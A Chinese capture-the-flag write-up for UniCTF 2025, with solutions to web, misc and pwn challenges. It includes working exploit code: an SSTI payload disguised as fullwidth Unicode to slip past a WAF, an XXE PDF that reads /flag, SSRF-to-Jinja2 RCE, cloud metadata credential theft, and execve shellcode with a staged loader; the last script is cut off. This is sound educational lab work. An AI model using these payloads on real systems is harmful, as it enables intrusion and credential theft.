前言
最后两 三 天这个比赛没有打 在看的时候结束了 忘了这个 哈哈哈,我连调查问卷都没有填写 好像最后是40名左右参赛人数挺多的有1200队左右
比赛简介:
UniCTF × UnionCTF
由来自全国各地 10 所高校战队及社会安全组织 联合发起的网络安全竞赛正式开启。本次赛事采用 4 人一组 的参赛形式,赛程持续一周,以“以赛促学、以赛促练”为核心理念,致力于打造一个高质量、强交流、重成长的网络安全竞技平台。赛事特别设置 新生赛道 / 老生赛道 双赛制,兼顾不同基础与阶段的选手,营造公平、友好、积极向上的竞赛氛围,让每一位参赛者都能有所收获。我们联合!成两面包夹芝士!! 🧀🍞🧀
时间:2026/1/25/10:00–2026/1/31/10:00
奖项
社会赛道:588 288 188 疯狂星期四x7 *证书
新生赛道: 588 288x2 188x3 疯狂星期四x4 *证书
单方向奖金:新生赛道各方向单榜第一*88

来自10校联合的UNICTF-2025题目已上线ctfplus
两种访问方式:
1.访问 https://www.ctfplus.cn/learning/problem/excellent-problemSet/detail/2019281126589206528 题集
2.前往公开题目搜索标签 UNICTF2025
官方WP可在 https://www.ctfplus.cn/1096/discussion-detail 获取。 @全体成员
UniCTF Official WriteUp:
https://my.feishu.cn/docx/IB4Ad9hP3o0HWFxRxVtcBIKNnJb?from=from_copylink
Web
GlyphWeaver




环境:Flask + Jinja2。
漏洞:SSTI(服务端模板注入)。
WAF:后端检测并拦截了 {{、os 等 ASCII 关键词。
绕过:题目提示 “Typography cleanup (CJK-friendly)” 且日志出现 normalize,暗示使用了 Unicode NFKC 标准化。
利用:
- 将 Payload 中的 ASCII 字符转换为 全角字符(Fullwidth) 即可绕过 WAF 检查。
- 后端在渲染前会将全角字符还原为 ASCII 字符,从而触发 SSTI。
/api/preview仅做参数替换,无法执行代码;需利用/api/export接口触发二次渲染或真实执行环境。
exp:
import requests
import time
import re
base_url = "http://5000-8c6a258a-c9a5-43f4-9b31-5b292bb65278.challenge.ctfplus.cn"
payload = "{{ self.__init__.__globals__.__builtins__.__import__('os').popen('cat /flag').read() }}"
def to_fullwidth(s):
return "".join(chr(ord(c) + 0xFEE0) if 33 <= ord(c) <= 126 else chr(0x3000) if c == " " else c for c in s)
data = {
"template_id": "classic",
"display_name": "a",
"title": "b",
"motto": to_fullwidth(payload),
"footer": "c"
}
resp = requests.post(f"{base_url}/api/export", json=data).json()
task_id = resp["taskId"]
print(f"Task ID: {task_id}")
while True:
time.sleep(1)
res = requests.get(f"{base_url}/api/task/{task_id}").json()
if res.get("status") == "done":
flag = re.search(r'(UniCTF{.*?})', res["html"])
if flag:
print(flag.group(1))
else:
print(res["html"])
break

UniCTF{edf211ed-a970-4794-b415-5cf0a1eb826c}
Web-SecureDoc
简单查看题目,得到关键信息,是XFA漏洞:XFA(XML Forms Architecture)是PDF中的一种基于XML的表单技术。当PDF解析器处理XFA内容时,如果没有正确配置XML解析器(禁用外部实体),就会导致XXE漏洞。
那么只需要再pdf中添加上
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<data>&xxe;</data>
去做读取即可,后面经过几次调整,得到下面的playload
%PDF-1.5
1 0 obj
<</Type/Catalog/Pages 2 0 R/AcroForm <</XFA 3 0 R>>>>
endobj
2 0 obj
<</Type/Pages/Count 1/Kids [4 0 R]>>
endobj
3 0 obj
<</Length 120>>
stream
<?xml version="1.0"?>
<!DOCTYPE xdp [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<datasets><data>&xxe;</data></datasets>
</xdp:xdp>
endstream
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]>>
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000092 00000 n
0000000136 00000 n
0000000297 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
409
%%EOF

上传后成功得到flag

UniCTF{8b9bdb70-964b-42ed-bd16-e20334074224}
ezUpload


首先查看了框架

用ai搜索了一下已知的漏洞

发现可以传一个.htaccess文件来读取文件


上传.htaccess后再随便传一个txt文件


访问txt文件,bp抓包发包后获得flag

Intrasight
看源代码
发现漏洞点
- 输入框: 页面提供了一个输入框,会将 URL 发送到后端
/fetch?url=...接口。 - 默认值:
http://127.0.0.1/

这里列出了三个内部服务:
public_web: 当前我们看到的这个 Web 服务(端口通常是 80)。admin_panel: 一个常见的后台服务名称(端口通常是 8080, 8000, 5000 等)。w*_*e*1*r: 这是我们的目标。
结合页面输入框的 placeholder 提示:输入 URL (http/https/ws)...
以及 JavaScript 代码中专门针对 WebSocket 的处理逻辑:
if (url.startsWith('ws://') || url.startsWith('wss://')) { ... }
结论: 目标是一个内部的 WebSocket 服务。
w*_*e*1*r 是对服务名称的混淆。结合 WebSocket 协议 (ws://),这个服务很可能是 ws_server 或者类似的名称,或者是暗示我们需要用 ws:// 协议去访问某个内部端口。
在 SSRF 题目中,如果不知道具体的端口或域名
80, 443, 3000, 5000, 6379, 8000, 8001, 8080, 8081, 8888, 9000, 9200, 1337
常用端口看看就行



我们发现8081和9000端口返回内容
看看这个
application/json


可以得知:8001是admin_panel 与 9000是ws_render
ws://127.0.0.1:9000/ws 缺少 Token
Origin 校验 (invalid origin 'None'):可能需要伪造 Origin 头,但在 SSRF 中通常我们先解决 Token 问题
8001 端口的 OpenAPI文档,这里有一个非常可疑的接口:/redirect_ws

http://127.0.0.1:8001/redirect_ws
访问

可以发现token
{
"status": 404,
"headers": {
"content-type": "application/json"
},
"history": [
{
"status": 302,
"location": "ws://127.0.0.1:9000/ws?token=146e2c154a764b519700f4e33fc05853"
}
],
"body": {
"detail": "Not Found"
}
}
http://127.0.0.1:8001/api/debug/config

ws://127.0.0.1:9000/ws?token=d2a0859e6e454d488bb6a66bbaf56382
访问

Origin 检查:它发现你的请求没有 Origin 头(或者为 None),这是 Python requests 等库的默认行为,但 WebSocket 服务通常要求这个头存在以防止 CSRF。
双重 Token 验证:服务端要求 URL 中的 ?token=... 参数必须与 HTTP 请求头中的 X-Internal-Token: ... 的值完全一致。
最终 逻辑
信息收集:利用 /fetch 接口进行 SSRF 端口扫描,发现内部服务 8001 和 9000 。
获取凭证:访问 http://127.0.0.1:8001/redirect_ws,从响应历史 或头部中提取出连接 WebSocket 所需的 token。
绕过校验:WebSocket 服务校验 Origin 和 X-Internal-Token 请求头。/fetch 接口具备 HTTP Header 和 Body 透传功能(无需 CRLF 注入),直接在请求中设置 Headers 即可满足校验。
SSTI RCE:WebSocket 服务提供 render 功能,模板引擎为 Jinja2。通过 POST 请求发送恶意模板 Payload {{ cycler.__init__.__globals__.os.popen('cat /flag').read() }} 执行系统命令读取 flag。
ai写一下
exp.py
import requests
import json
BASE_URL = "http://80-1c89b64d-4a9d-4cc0-a239-d7d7ccc9f7e1.challenge.ctfplus.cn"
FETCH_URL = f"{BASE_URL}/fetch"
def main():
try:
resp = requests.get(FETCH_URL, params={"url": "http://127.0.0.1:8001/redirect_ws"})
token = resp.json()["history"][0]["location"].split("token=")[1]
print(f"Token: {token}")
target_ws = f"ws://127.0.0.1:9000/ws?token={token}"
headers = {
"Origin": "http://127.0.0.1",
"X-Internal-Token": token,
"Content-Type": "application/json"
}
payload = {
"action": "render",
"template": "{{ cycler.__init__.__globals__.os.popen('cat /flag').read() }}",
"context": {}
}
resp = requests.post(
FETCH_URL,
params={"url": target_ws},
headers=headers,
json=payload
)
print(json.dumps(resp.json(), indent=2, ensure_ascii=False))
except Exception as e:
print(e)
if __name__ == "__main__":
main()

UniCTF{628f18fa-d94c-4e06-bba0-38732b8f2bdb}
CloudDiag

打开页面发现要账号密码

直接先注册一个,admin:123456,进去以后发现有一个填写链接的地方,猜测是ssrf

尝试各个厂商的元数据

都试了一遍发现都不行

尝试只要前面的metadata,发现返回的是端口不对

修改端口后,继续查询云服务器的凭证路径

http://metadata:1338/latest/meta-data/iam/security-credentials/
发现返回角色名称,说明 成功了

在上面的payload基础上加上角色名称,成功返回敏感信息

在Cloud Explorer页面填写Access Key ID、Secret Access Key、Session Token,列出了所有存储桶

在Bucket (optional)中选择clouddiag-secrets

获得了flag的路径,在Object Key (optional)中填写flag路径,获得flag

Misc
Welcome


UniCTF{He110_Uni}
工厂应急流量分析
任务 1:谁把阀门打开了?
找到 Modbus 打开阀门指令的相关信息。
提交格式:flag{0xtransaction_id_0xfunction_code_0xcoil_address}
分析可以得到
SCADA(发起方)IP:192.168.1.5
控制站(目标方)IP:192.168.1.10
看192.168.1.5 就行了
modbus.func_code == 5
筛选“写线圈”指令

在 Wireshark 下方的 Modbus 协议层详情中查看:
Transaction Identifier (事务 ID): 显示为 15437。
Function Code (功能码): 显示为 5 (Write Single Coil)。
Reference Number (线圈地址): 显示为 21。
Data (写入值): 显示为 0xFF00 (代表 ON/Open,符合题目“打开”的要求)。

数值转换 (十进制转十六进制)
题目要求提交 0x 格式的十六进制:
Transaction ID: 15437 (Dec) -> 3c4d (Hex)
Function Code: 5 (Dec) -> 05 (Hex)
Coil Address: 21 (Dec) -> 0015 (Hex)
flag{0x3c4d_0x05_0x0015}

任务 2:被读取的 NodeId
找到通过 OPC UA 协议读取的 NodeId。
提交格式:flag{ns=X;s=Path/To/Node}
找到 OPC UA 协议中被读取(ReadRequest)的节点 ID (`NodeId`)。
线索:题目背景涉及“阀门(Valve)”控制,且通信协议为 OPC UA (默认端口 TCP 4840)。
tcp.port == 4840 && frame contains "ns="

只看192.168.1.5 就行

flag{ns=2;s=Valve/Status}

任务 3:控制站域名解析结果
找出控制站域名 ctrlws.factory.local 的解析 IP。
提交格式:flag{IP地址}
39号包找到
控制站域名解析结果
线索分析:域名是 ctrlws.factory.local。
根据题目描述,SCADA (192.168.1.5) 连向 控制站 (192.168.1.10)。
在 Task 5 中我们看到对 ctrlws.factory.local 的请求是发往控制站的。
因此该域名解析的 IP 就是控制站的 IP。
正确 flag:
flag{192.168.1.10}

flag{192.168.1.10}

任务 4:连接建立时间
确定SCADA(源:192.168.1.5)到控制站(目的:192.168.1.10)上首个成功发起的时间点(UTC)。
提交格式:flag{YYYY-MM-DDTHH:MM:SSZ}
tcp && ip.src == 192.168.1.5 && ip.dst == 192.168.1.10 && (tcp.flags.syn == 1 || tcp.flags.ack == 1)

秒级精度
寻找握手
- No. 15 是
PSH, ACK(数据传输),说明是旧连接,不是“发起”。 - No. 32 是
[SYN]包,代表 SCADA 首次主动发起 新的 TCP 连接。
Wireshark 显示时间(中国标准时间):2025-03-15 17:30:01

转换为 UTC 时间 (-8小时):2025-03-15 09:30:01
格式化:题目只需要精确到秒。
flag:
flag{2025-03-15T09:30:01Z}

任务 5:HTTP 请求痕迹
提取 SCADA 对控制站发起的 HTTP 请求的 Host 与 URI。
提交格式:flag{Host_URI}
和第三题连在一起的
题目说明:SCADA(1.5)对控制站(1.10)发起请求。
题目任务 3 提到控制站域名是 ctrlws.factory.local。

flag{ctrlws.factory.local_/api/status}

任务 6:ICMP Echo Request 序列号
攻击者(192.168.1.100)对控制站发起了 ICMP Echo Request(ping)。找出该 ICMP 请求的序列号(Sequence Number)。
提交格式:flag{0x序列号}
SCADA(发起方)IP:192.168.1.5
控制站(目标方)IP:192.168.1.10
看192.168.1.100的ping包就行
icmp && ip.addr == 192.168.1.100 && ip.addr == 192.168.1.10


flag{0x0123}

任务 7:SNMP Get 请求的 OID
SCADA 对控制站发起了 SNMP Get 请求。找出该请求查询的 OID(Object Identifier)。
提交格式:flag{OID}
看 UDP包 SCADA 对控制站发起了 SNMP Get 请求
就是192.168.1.5 ->192.168.1.10
udp && ip.src == 192.168.1.5 && ip.dst == 192.168.1.10

flag{1.3.6.1.2.1.1.5.0}

答案总和
1.flag{0x3c4d_0x05_0x0015}
2.flag{ns=2;s=Valve/Status}
3.flag{192.168.1.10}
4.flag{2025-03-15T09:30:01Z}
5.flag{ctrlws.factory.local_/api/status}
6.flag{0x0123}
7.flag{1.3.6.1.2.1.1.5.0}

UniCTF{base64_misc_ctf_Ahiz_7303fef4-5058-4110-8841-e295d45bd228}
总裁四比特,这能玩?

jpg 分离可以得到 两个png 相同的图片 以为是盲水印结果什么都不是,气死,网络搜索和AI得知是4-bit/Nibble 隐写

你看分离的图片大小和原图片对应不上说明添加的多于的数据010看可以发现
jpg 和 png 里面加了数据
头部:正常的 JPEG 图片(以 FF D9 结尾)。
中部:被混淆的中间数据(Middle)。
尾部:一个明文的 PNG 图片(以 89 50 4E 47 开头)。

一共两张png 但是中间有数据先提取出来
exp.py
import sys
def step1():
try:
with open('比特.jpg', 'rb') as f:
data = f.read()
jpeg_end = data.find(b'xffxd9')
if jpeg_end == -1:
print("Error: JPEG end not found")
return None
jpeg_end += 2
png_start = data.find(b'x89PNG')
if png_start == -1:
print("Error: PNG start not found")
return None
middle_data = data[jpeg_end:png_start]
print(f"JPEG End: {jpeg_end}")
print(f"PNG Start: {png_start}")
print(f"Middle Data Length: {len(middle_data)}")
return middle_data
except FileNotFoundError:
print("Error: File not found")
return None
if __name__ == '__main__':
step1()

Nibble 隐写 是一种将隐藏信息拆分并存储在字节的“半字节”(即 4 位)中的数据隐藏技术。
在计算机中:
- 1 Byte (字节) = 8 Bits (位)
- 1 Nibble (半字节) = 4 Bits (位)
一个字节通常用两个十六进制数字表示(例如 0xAB),其中 A 是高四位(High Nibble),B 是低四位(Low Nibble)。
核心原理
Nibble 隐写的核心思想是:不直接存储完整的字节,而是把秘密数据拆开,塞进载体数据的“高 4 位”或“低 4 位”中。
通常有两种常见的玩法:
A. 替换式
类似于 LSB(最低有效位)隐写,但更粗暴。将秘密数据的 4 位塞入载体像素的低 4 位。
- 载体:
0xAF(像素值) - 秘密:
0x3(数据) - 结果:
0xA3 - 效果: 图片会有明显噪点,但肉眼可能忽略。
B. 分离重组式
将两个不同的文件“交织”在一起。
- 文件 A (秘密文件): 放在所有字节的高 4 位。
- 文件 B (掩护文件): 放在所有字节的低 4 位。
这种方式生成的“混合文件”通常无法正常打开,或者看起来像是乱码,但通过脚本提取特定的一半位,就能还原出两个独立的文件。
根据题目提示验证
需要把这些高 4 位提取出来,每两个拼成一个完整的字节。
exp.py
import sys
def step2():
with open('比特.jpg', 'rb') as f:
data = f.read()
jpeg_end = data.find(b'xffxd9') + 2
png_start = data.find(b'x89PNG')
middle_data = data[jpeg_end:png_start]
high_nibbles = []
for byte in middle_data:
high_nibbles.append(byte >> 4)
reconstructed_bytes = bytearray()
for i in range(0, len(high_nibbles) - 1, 2):
high = high_nibbles[i]
low = high_nibbles[i+1]
byte_val = (high << 4) | low
reconstructed_bytes.append(byte_val)
with open('step2_hidden.zip', 'wb') as f:
f.write(reconstructed_bytes)
print("Step 2 Done: Saved step2_hidden.zip")
if __name__ == '__main__':
step2()

binwalk 或者 foremost 可以出来压缩包


UniCTF{Y0u_4r3_4_6r347_h4ck3r_!}
Silent Resolver


发现异常的DNS流 可以判断DNS藏了数据
查看日志文件,过滤出异常 DNS 请求。发现域名后缀 exfil.unictf.local 带有序列号(0000-0005),且子域名部分由 a-z 和 2-7 组成,判断为 Base32 编码。
提取有效 Payload 如下:
0000: kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz
0001: wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd
0002: klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka
0003: cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa
0004: aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa
0005: aqaaiagyaaaac6aaaaaaaa
解密脚本
将数据按序拼接,使用 Python 进行 Base32 解码并写入文件。
exp.py
import base64
payloads = [
"kbfqgbauaaaaacaajbsskxfwamzbcoaaaaadmaaaaaeaaaaamz",
"wgczzoor4hic6nzn2a44nloyy4qk4jb4utekjorf37cc4ob4wd",
"klrsjqwy4n6pgcxiz5zvjthsrcpxgbgdddqpgzhc4mrofgxaka",
"cqjmaqefadcqaaaaaiabegkjk4wybteejyaaaaanqaaaaaqaaa",
"aaaaaaaaaaaaaaeaaeaaaaaamzwgczzoor4hiuclaudaaaaaaa",
"aqaaiagyaaaac6aaaaaaaa"
]
data = "".join(payloads).upper()
file_bytes = base64.b32decode(data)
with open("result.zip", "wb") as f:
f.write(file_bytes)
print("[+] result.zip 生成成功")

UniCTF{D0nt_Tr4st_DNS_Qu3r1es_7h3y_M1ght_H1d3_S3cr3ts}
Sign in

文件内容

通过文件名猜测是serpent加密,在Serpent Encryption – Easily encrypt or decrypt strings
or files解密,但是需要秘钥,右键查看秘钥

发现错了,解一下码

再次解密

UniCTF{Serpentine_Secrets}
Cube God

考察的是对搜索空间的理解和 Python 性能优化
源码分析
挑战目标: 连续还原 100 个 2×2 魔方。 输入: 每一轮服务器会给出一个打乱的 2×2 魔方状态,但 隐藏了其中一个面(可能是 U, D, F, B, L, R 中的任意一个)。 限制条件:
时间限制: 每一轮只有 1秒 的时间 (signal.alarm(1) )。这意味着常规的 Python 搜索算法(如纯 BFS 或 IDDFS)在运行时计算会超时。
步数限制: 最大允许 11 步 (MAX_MOVES = 11 )。这是 2x2 魔方的上帝之数(God's Number),意味着必须求出最优解或接近最优解。
环境: Python 3.13 容器环境。
核心难点:
- 信息缺失: 有一个面是黑的,需要推断颜色。
- 极致性能: Python 的解释器开销较大,要在 1 秒内完成状态推断 + 搜索最优解,必须使用查表法。
解密思路:全状态数据库 + 归一化
由于 1 秒时间太短,不可能实时搜索。我们的策略是 预计算。
A. 状态空间分析
2x2 魔方的总状态数约为 367 万(固定一个角块的情况下)。 如果不固定角块,状态数会膨胀 24 倍(约 8800 万),生成数据库太慢且内存占用大。
B. 必胜策略:固定角块法
我们观察到:只要还原了 2x2 魔方的一个角块,剩下的部分可以通过只转动与该角块不相邻的三个面来还原。 假设我们固定 DBL (下-后-左) 这个角块不动,那么我们只需要使用 U (上), F (前), R (右) 这三个面的动作即可还原整个魔方。
算法流程
预生成数据库 :
在本地(脚本启动时)生成一个包含所有 3,674,160 种状态的数据库。
只使用 <U, F, R> 三个操作生成状态图。
记录 {状态: 此时的移动}。
耗时约 20 秒,这是 1 秒超时限制外的时间,服务器允许连接保持。
隐藏面重建:
统计已知面的颜色数量,补全缺失的 4 个贴纸。
尝试缺失贴纸的排列组合(最多 24 种),找到唯一合法的物理状态。
归一化与映射 :
这是最关键的一步。服务器给出的魔方 DBL 角块可能在任何位置。
我们不需要真的去转动 DBL 角块。我们通过坐标变换,找到一个“视角”,使得在这个视角下,物理魔方的 DBL 角块正好位于我们定义的“固定位置”。
在这个视角下,尝试将物理魔方的状态映射到我们的 U-F-R 数据库中。
如果匹配成功,数据库返回的解法(U/F/R)会被映射回物理魔方对应的面(例如,数据库的 U 可能对应物理魔方的 L)。
秒解:
查表时间为 O(1)。
解法步数严格保证在数据库生成的深度内(<= 11步)。
exp.py
#!/usr/bin/env python3
import sys
import collections
import itertools
from pwn import *
context.log_level = 'error'
FACE_ORDER = "UDFBLR"
FACE_MAP = {f: i for i, f in enumerate(FACE_ORDER)}
INT_MAP = {i: f for i, f in enumerate(FACE_ORDER)}
GEN_MOVES = ["U", "U'", "U2", "F", "F'", "F2", "R", "R'", "R2"]
ALL_MOVES = []
for f in FACE_ORDER:
ALL_MOVES.extend([f, f+"'", f+"2"])
CORNER_INDICES = [
(0, 16, 13), (1, 12, 21), (2, 8, 17), (3, 9, 20),
(4, 10, 19), (5, 11, 22), (6, 15, 18), (7, 14, 23)
]
DBL_COLORS = frozenset([1, 3, 4])
VALID_PIECE_SETS = set()
for c1 in [0, 1]:
for c2 in [2, 3]:
for c3 in [4, 5]:
VALID_PIECE_SETS.add(frozenset([c1, c2, c3]))
TRANS_TABLE = []
def build_trans_table():
base = list(range(24))
def get_faces(s): return {f: s[i*4:(i+1)*4] for i, f in enumerate(FACE_ORDER)}
def from_faces(f): return sum([f[x] for x in FACE_ORDER], [])
def cw(x): return [x[2], x[0], x[3], x[1]]
def ccw(x): return [x[1], x[3], x[0], x[2]]
def apply(faces, f, p):
def gr(n, r): return faces[n][r*2:r*2+2]
def sr(n, r, v): faces[n][r*2:r*2+2] = v
def gc(n, c): return [faces[n][0+c], faces[n][2+c]]
def sc(n, c, v): faces[n][0+c], faces[n][2+c] = v[0], v[1]
if f=='U':
faces['U'] = ccw(faces['U']) if p else cw(faces['U'])
t = gr('F',0)
if p: sr('F',0,gr('L',0)); sr('L',0,gr('B',0)); sr('B',0,gr('R',0)); sr('R',0,t)
else: sr('F',0,gr('R',0)); sr('R',0,gr('B',0)); sr('B',0,gr('L',0)); sr('L',0,t)
elif f=='D':
faces['D'] = ccw(faces['D']) if p else cw(faces['D'])
t = gr('F',1)
if p: sr('F',1,gr('R',1)); sr('R',1,gr('B',1)); sr('B',1,gr('L',1)); sr('L',1,t)
else: sr('F',1,gr('L',1)); sr('L',1,gr('B',1)); sr('B',1,gr('R',1)); sr('R',1,t)
elif f=='F':
faces['F'] = ccw(faces['F']) if p else cw(faces['F'])
t = gr('U',1)
if p: sr('U',1,gc('R',0)); sc('R',0,gr('D',0)[::-1]); sr('D',0,gc('L',1)); sc('L',1,t[::-1])
else: sr('U',1,gc('L',1)[::-1]); sc('L',1,gr('D',0)); sr('D',0,gc('R',0)[::-1]); sc('R',0,t)
elif f=='B':
faces['B'] = ccw(faces['B']) if p else cw(faces['B'])
t = gr('U',0)
if p: sr('U',0,gc('L',0)[::-1]); sc('L',0,gr('D',1)); sr('D',1,gc('R',1)[::-1]); sc('R',1,t)
else: sr('U',0,gc('R',1)); sc('R',1,gr('D',1)[::-1]); sr('D',1,gc('L',0)); sc('L',0,t[::-1])
elif f=='L':
faces['L'] = ccw(faces['L']) if p else cw(faces['L'])
t = gc('U',0)
if p: sc('U',0,gc('F',0)); sc('F',0,gc('D',0)); sc('D',0,gc('B',1)[::-1]); sc('B',1,t[::-1])
else: sc('U',0,gc('B',1)[::-1]); sc('B',1,gc('D',0)[::-1]); sc('D',0,gc('F',0)); sc('F',0,t)
elif f=='R':
faces['R'] = ccw(faces['R']) if p else cw(faces['R'])
t = gc('U',1)
if p: sc('U',1,gc('B',0)[::-1]); sc('B',0,gc('D',1)[::-1]); sc('D',1,gc('F',1)); sc('F',1,t)
else: sc('U',1,gc('F',1)); sc('F',1,gc('D',1)); sc('D',1,gc('B',0)[::-1]); sc('B',0,t[::-1])
for m in ALL_MOVES:
faces = get_faces(base)
f, p, c = m[0], "'" in m, 2 if '2' in m else 1
for _ in range(c): apply(faces, f, p)
TRANS_TABLE.append(tuple(from_faces(faces)))
def fast_apply(s, m_idx):
return tuple(s[i] for i in TRANS_TABLE[m_idx])
MAIN_DB = {}
def generate_db():
print("Generating DB...")
solved = tuple([i//4 for i in range(24)])
MAIN_DB[solved] = -1
q = collections.deque([solved])
gen_idxs = [ALL_MOVES.index(m) for m in GEN_MOVES]
while q:
curr = q.popleft()
for idx in gen_idxs:
succ = fast_apply(curr, idx)
if succ not in MAIN_DB:
MAIN_DB[succ] = idx
q.append(succ)
print(f"DB Done: {len(MAIN_DB)}")
def solve_normalized(state):
loc = None
for idxs in CORNER_INDICES:
if {state[i] for i in idxs} == DBL_COLORS:
loc = idxs
break
if not loc: return None
p_map = {}
for i in loc:
c = state[i]
f = i // 4
if c == 1: p_map['D'] = f
elif c == 3: p_map['B'] = f
elif c == 4: p_map['L'] = f
opp_map = {0:1, 1:0, 2:3, 3:2, 4:5, 5:4}
p_map['U'] = opp_map[p_map['D']]
p_map['F'] = opp_map[p_map['B']]
p_map['R'] = opp_map[p_map['L']]
def get_face_stickers(face_idx):
return state[face_idx*4 : (face_idx+1)*4]
def rotate_stickers(stickers, n):
s = stickers
for _ in range(n):
s = [s[2], s[0], s[3], s[1]]
return s
target_locals = {'D': 2, 'B': 3, 'L': 2}
v_faces = {}
for canon_f in ['D', 'B', 'L']:
phys_f = p_map[canon_f]
p_stickers = get_face_stickers(phys_f)
corner_sticker_idx = -1
for i in range(4):
global_idx = phys_f * 4 + i
if global_idx in loc:
corner_sticker_idx = i
break
rot_cycle = [0, 1, 3, 2]
curr_pos = rot_cycle.index(corner_sticker_idx)
target_pos = rot_cycle.index(target_locals[canon_f])
rots = (target_pos - curr_pos) % 4
v_faces[canon_f] = rotate_stickers(p_stickers, rots)
phys_u = get_face_stickers(p_map['U'])
phys_f = get_face_stickers(p_map['F'])
phys_r = get_face_stickers(p_map['R'])
def yield_rots(s):
curr = s
for _ in range(4):
yield curr
curr = rotate_stickers(curr, 1)
for cand_u in yield_rots(phys_u):
for cand_f in yield_rots(phys_f):
for cand_r in yield_rots(phys_r):
f_dict = {
'D': v_faces['D'], 'B': v_faces['B'], 'L': v_faces['L'],
'U': cand_u, 'F': cand_f, 'R': cand_r
}
vs = []
for char in FACE_ORDER: vs.extend(f_dict[char])
vs = tuple(vs)
if vs in MAIN_DB:
v_path = []
curr = vs
while MAIN_DB[curr] != -1:
idx = MAIN_DB[curr]
m_name = ALL_MOVES[idx]
inv_m = m_name.replace("'", "") if "'" in m_name else (m_name if "2" in m_name else m_name + "'")
v_path.append(inv_m)
curr = fast_apply(curr, ALL_MOVES.index(inv_m))
p_path = []
for m in v_path:
canon_face = m[0]
suffix = m[1:]
phys_face_idx = p_map[canon_face]
phys_face_char = INT_MAP[phys_face_idx]
p_path.append(phys_face_char + suffix)
return p_path
return None
def is_valid_corners(state):
for idxs in CORNER_INDICES:
if frozenset([state[i] for i in idxs]) not in VALID_PIECE_SETS:
return False
return True
def main():
build_trans_table()
generate_db()
io = remote('nc1.ctfplus.cn', 36463)
io.recvuntil(b"Solve 100 cubes")
for rnd in range(1, 101):
try:
io.recvuntil(f"=== Round {rnd}/100 ===".encode())
data = io.recvuntil(b"[?] Enter your solution:").decode()
lines = [l.strip() for l in data.split('n') if l.strip()]
faces = {}
for i, l in enumerate(lines):
if l.startswith("Face"):
f = l.split()[1][0]
r1 = lines[i+2].replace('|','').split()
r2 = lines[i+3].replace('|','').split()
faces[f] = r1 + r2
hidden = list(set(FACE_ORDER) - faces.keys())[0]
flat = []
for f in FACE_ORDER:
if f == hidden: flat.extend([-1]*4)
else: flat.extend([FACE_MAP[x] for x in faces[f]])
counts = collections.Counter([x for x in flat if x != -1])
missing = []
for i in range(6): missing.extend([i] * (4 - counts[i]))
unknown_idxs = [i for i, x in enumerate(flat) if x == -1]
perms = set(itertools.permutations(missing))
final_sol = None
for p in perms:
temp = list(flat)
for i, v in enumerate(p): temp[unknown_idxs[i]] = v
cand = tuple(temp)
if not is_valid_corners(cand): continue
res = solve_normalized(cand)
if res:
final_sol = " ".join(res)
break
if not final_sol: final_sol = "U"
io.sendline(final_sol.encode())
sys.stdout.write(f"rRound {rnd} OK")
except Exception as e:
print(f"Err: {e}")
break
print("nDone.")
io.interactive()
if __name__ == "__main__":
main()

UniCTF{G0dZzzz_NuM63r_1s_3lEv3N_But_uR_C0d3_i5_D1v1n3_GG2008511868280246272}
Pwn
什么?我不是汇编高手吗?

程序逻辑:程序使用 mmap 分配一段内存,循环读取用户输入。每读取 4字节,会自动在后面追加 0xE9 (JMP 指令) 及偏移,形成链式跳转结构。
保护机制:
- 输入函数为
fgetc,遇到0x0A(n) 会截断。 - 执行 Shellcode 前,程序调用
mprotect将该段内存设为 RX (只读可执行),导致无法直接修改自身或追加代码。



Opcode 断裂:0xE9 会吞掉后续指令,需构造跳转链。
只读内存:必须先改权限才能读入长 Shellcode。
坏字符:不能出现 0x0A。
未知地址:寄存器未指向 mmap 基址,需从栈上获取。
思路
采用 **两阶段 Shellcode :
构造 Jump Chain (微型指令链):
在每 4 字节块中写入 `2字节指令` + `EB 01` (短跳转)。
`EB 01` 正好跳过下一个块头部的 `0xE9`,实现指令串联。
Stage 1: Loader (手写机器码):
获取基址:分析发现 `mmap` 地址存在栈上 (`rbp-0x10`)。利用 `push rbp; pop rsi` -> `sub` -> `lodsq` 将基址加载到寄存器。
修改权限:调用 mprotect(addr, len, 7)将内存改为 RWX
Tip: `sys_mprotect` 调用号是 10 (`0x0A`),需用 `mov al, 9; inc eax` 动态计算以绕过坏字符。
读入 Payload:调用 `read(0, addr, len)` 读入第二阶段代码覆盖当前位置。
执行:跳转回 `addr`。
Get Shell:
发送标准的 execve("/bin/sh") Shellcode。
exp.py
from pwn import *
import time
context.arch = 'amd64'
context.log_level = 'info'
def solve():
print("[*] 正在连接...")
try:
io = remote('nc1.ctfplus.cn', 24269)
except:
print("[-] 连接失败")
return
try:
io.recvuntil(b'0x')
line = io.recvline().strip()
addr = int(line, 16)
print(f"[+] Leaked Addr: {hex(addr)}")
except Exception as e:
print(f"[-] 获取泄漏地址失败: {e}")
return
parts = []
def add_inst(code_bytes):
if len(code_bytes) < 2:
code_bytes = code_bytes.ljust(2, b'x90')
parts.append(code_bytes + b'xebx01')
parts.append(b'x01x00x00x00')
add_inst(b'x55x5e')
add_inst(b'x48x96')
add_inst(b'x2cx10')
add_inst(b'x48x96')
add_inst(b'x48xad')
add_inst(b'x50x5f')
add_inst(b'x31xf6')
add_inst(b'xffxc6')
add_inst(b'x31xd2')
add_inst(b'xb2x07')
add_inst(b'x31xc0')
add_inst(b'xb0x09')
add_inst(b'xffxc0')
add_inst(b'x0fx05')
add_inst(b'x57x5e')
add_inst(b'x31xff')
add_inst(b'x31xd2')
add_inst(b'xb2xff')
add_inst(b'x31xc0')
add_inst(b'x0fx05')
add_inst(b'xffxe6')
payload = b''.join(parts)
print(f"[*] Sending Stage 1 Loader ({len(payload)} bytes)...")
io.sendline(payload)
print("[*] Sending Stage 2 Shellcode...")
time.sleep(1)
shellcode = b'x31xc0x48xbbxd1x9dx96x91xd0x8cx97xffx48xf7xdbx53x54x5fx99x52x57x54x5exb0x3bx0fx05'
